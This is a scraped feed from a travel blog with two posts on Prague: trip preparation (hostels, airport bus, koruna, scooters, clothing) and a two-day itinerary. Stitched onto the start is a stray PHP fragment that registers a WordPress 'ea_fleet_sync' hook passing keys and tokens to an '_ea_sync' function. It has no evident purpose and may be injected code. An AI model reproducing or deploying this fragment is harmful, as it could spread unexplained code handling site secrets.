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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Czech Republic – The Tiny Traveler Blog https://thetinytravelerblog.com Thu, 09 May 2024 23:03:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 How to Prepare for Your Trip to Prague: everything you need to know. https://thetinytravelerblog.com/how-to-prepare-for-your-trip-to-prague/ https://thetinytravelerblog.com/how-to-prepare-for-your-trip-to-prague/#respond Mon, 22 Apr 2024 11:11:15 +0000 http://thetinytravelerblog.com/?p=1599 Prague is a city like no other. The city has a variety to see even outside of the famous old town. However, before starting your research on all the things you need to do in Prague, let’s start with the basics. Preparing for your trip like how to get to and from the airport, or the best areas to stay, is important in the planning process.

Here is a few pieces of information that I felt would be helpful to those visiting Prague for the first time.

Where to stay

Like in any country, there are loads of options whether it be hostels, hotels or airbnbs. Many times in Europe I choose hostels because they are an amazing way to meet other travelers, often provide inexpensive or free meals, and are much cheaper than a hotel or home.

The best resource that I use is Hostelworld.com. It is extremely user friendly and gives you all the information you need to know. The hostel I chose in Prague was Hostel One Home. I was really happy with my choice as they provided a great family atmosphere, having free dinner and drinking games each night. The rooms were clean and the staff was all friendly and respectful.

The other option I will forever support is airbnb. Make sure to read the reviews, look at 5 stars only, and it will not go wrong.

If you have never used Airbnb before, click on the link here to get $40 off your first stay.

As far as location, make sure to look closer in the city center close to old town. Here is where you will be centrally located to easily get to all the other areas of the city that you will want to go.

How to get from the Airport to the city center

Getting to and from the airport can be simple in Prague, depending on where you are staying. I’d recommend looking on google maps to see your options from the airport to your destination and see if there is a bus that will take you close by. Here are a few options that I used:

  • Airport express bus: This express bus goes straight into the city to the Prague Main Station. It runs from about 5:30am until about 10pm. It is just 60CZK, which is about $2. However, they do only accept cash so you will need to get some change before you get on.
  • Uber/Taxi: Uber and taxi is always an option, but expect to pay around $25 into the city.

The currency & taking out money

Although Czech Republic is part of the EU, it still somehow doesn’t have the euro. So you will receive the Czech Koruna (pronounced ‘crown’). An easy way to calculate it into US dollars is to remove the last digit and divide by 2. For example, if the price is 100 CZK, you’d remove the last 0 and divide it by 2. So it would be $5. Make sense?!

You can exchange money at a local bank or at the airport, or a fun tip is if you have euros, you can go to a larger store or fast food chain and they will give you back change in koruna’s.

Another option is to take money out from an ATM. There is usually a fee to do it this way, but if you are traveling often, I would recommend looking into a bank account that reimburses the fees. In the US, Charles Schwabb has a checking account that reimburses – fun tip!

How to get around during your stay

Prague has a lot of fun ways to get around the city. While I usually prefer getting around by foot, if you are on a time crunch and need to explore the city quickly, there are a few other options.

  • Uber: this is the cheapest way by car to get around, just like in many countries.
  • LimeBike: a motorized scooter that will get you from A to B quicker than by foot – and it is so fun! Make sure to download the app before you go.
  • City Bike or rent a bike: You can rent a bike or like LimeBike, you can hop on a city bike and ride around until you get to your next destination.

What to wear

Wine festival in Prague, Czech Republic

Generally in Europe, I tend to stay away from any American trends – AKA booty shorts or 3/4 leggings – to make sure I don’t look like a complete tourist. Ok ok seriously though, I do dress more conservative, wear more black and bring less color.

Plan to bring sneakers as you will be walking a lot. Avoid wasting your space with heels, as many of the roads are cobblestone and it will be extremely exhausting and uncomfortable.

During the months of Sept-May, plan to bring layers as it can get relatively cold at night. Don’t be stubborn like me and not bring a jacket!

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Prague is a larger city than what you may think. Going into it, I thought it was a smaller, walkable city. I quickly realized that it has several neighborhoods to explore with so much to see. If you do have just 2 days, this is my recommendation for making the most of your time.

Also take a look at my blog post on how to prepare for your trip to Prague so you waste zero time on figuring things out when you arrive. Now let’s get into it!

Day 1: a full day experience

Morning – Nusle

Waf Waf restaurant in Prague is the perfect place for breakfast. Their waffles and pancakes are delicious and so picturesque.

The first day is a perfect one to explore out of the city center and into more of a local area. The area of Nusle is a local, more “hipster” area. There are several coffee shops, parks and old architecture to view. You can head to Waf-Waf for a fancy waffle or stack of pancakes. They are not only delicious, but definitely picture worthy.

If you’re a coffee or tea drinker, explore the areas best coffee shops. A few are Anthill, Monolok cafe, and Boheme Cafe.

Afternoon – explore by scooter

Now that you are all stuffed and energized from the food and coffee, wandering around Nusle and enjoying the parks will be your next move. You can start making your way towards Park Folimanka then to Vyšehrad, which is a castle and museum. The river across the street is also perfect to relax and sit down for a bit to rest your feet.

Lounge by the river in Prague to get a more local experience. Here is my 2-day itinerary for Prague.

After wandering around, pick up a Lime scooter and ride along the river towards the Charles Bridge. Make sure to download the app beforehand so it is quick and easy to rent. It’s a perfect way to explore the city if you are on a time constraint. Normally I would walk around, but the scooter experience was seriously so much fun!

After the scooter ride, spot the Dancing House which is two bridges down from Charles Bridge. It’s quite unique if I may say so myself!

Night – old town, dinner & cave bars

Ride the scooter or walk back into the Old Town square. Once you arrive, there are vendors that you can peek around and shop at along with food. I recommend getting dessert before dinner and grab the famous ice cream called Trdelnik. It’s basically a deep fried donut in place of a cone with ice cream in the middle. Absolutely worth it!

Trdelnik ice cream in Prague has to be on your to do list. In Old Town Prague there is several vendors and you will have a beautiful view too.

For dinner, if you are staying at Hostel One Home, which I recommend, they have family dinners for free every night. If you are on a budget and looking to make new friends, I recommend this option.

If not, there are many delicious restaurants in the city. I only did dinner at the hostel, so I will send you over to Getting Stamped for restaurant recommendations.

After dinner, you have to get a beer or two at Prague’s underground bars. They are extremely unique and a perfect place to relax and chat with locals or other travelers. Here are a few you should try:

Day 2: morning wake up call

Morning – explore with the sun

You may not like this, but I’m about to tell you to wake up for sunrise. Yes, sunrise in the cities are the best to experience attractions with minimal crowds. This is why I saved wandering over the Charles Bridge, the John Lennon Wall and the Prague Castle for this moment.

The Charles Bridge in Prague is best at sunrise when the crowds are still sleeping.

Prague Castle has a stunning view overlooking the city. Not only that, there will most likely not be anyone else there with you. You can take in the architecture and beauty of the area all by yourself.

The John Lennon wall brings art and history together for a positive and peaceful message.

After the suns come up, it will be time to get some breakfast. Den Noc is my preference, mainly because of their insanely delicious pancake options with real maple syrup. Cafe Savoy is also a popular option that locals recommend.

Afternoon – nap or grab a free tour

I need my sleep, so I personally went back to the hostel to take a quick cat nap. If you are ready to attack the day and can fight the exhaustion, then keep going.

Europe in general has several free or paid walking tours. One of the free walking tours is run by Sandeman’s New Europe tours. Check them out to explore times and book yours today. While exploring cities on your own give you more freedom, it’s always good to have a guide. History and culture is a reason to travel and see the world, so learn and embrace it however long you can.

Night – flight home

Assuming you are truly here for just two days, then your flight is most likely in the late afternoon or night. Relax, pack up and give yourself some time to get to the airport. If you are taking the express bus to the airport, you can grab a yummy hot dog on the way out!

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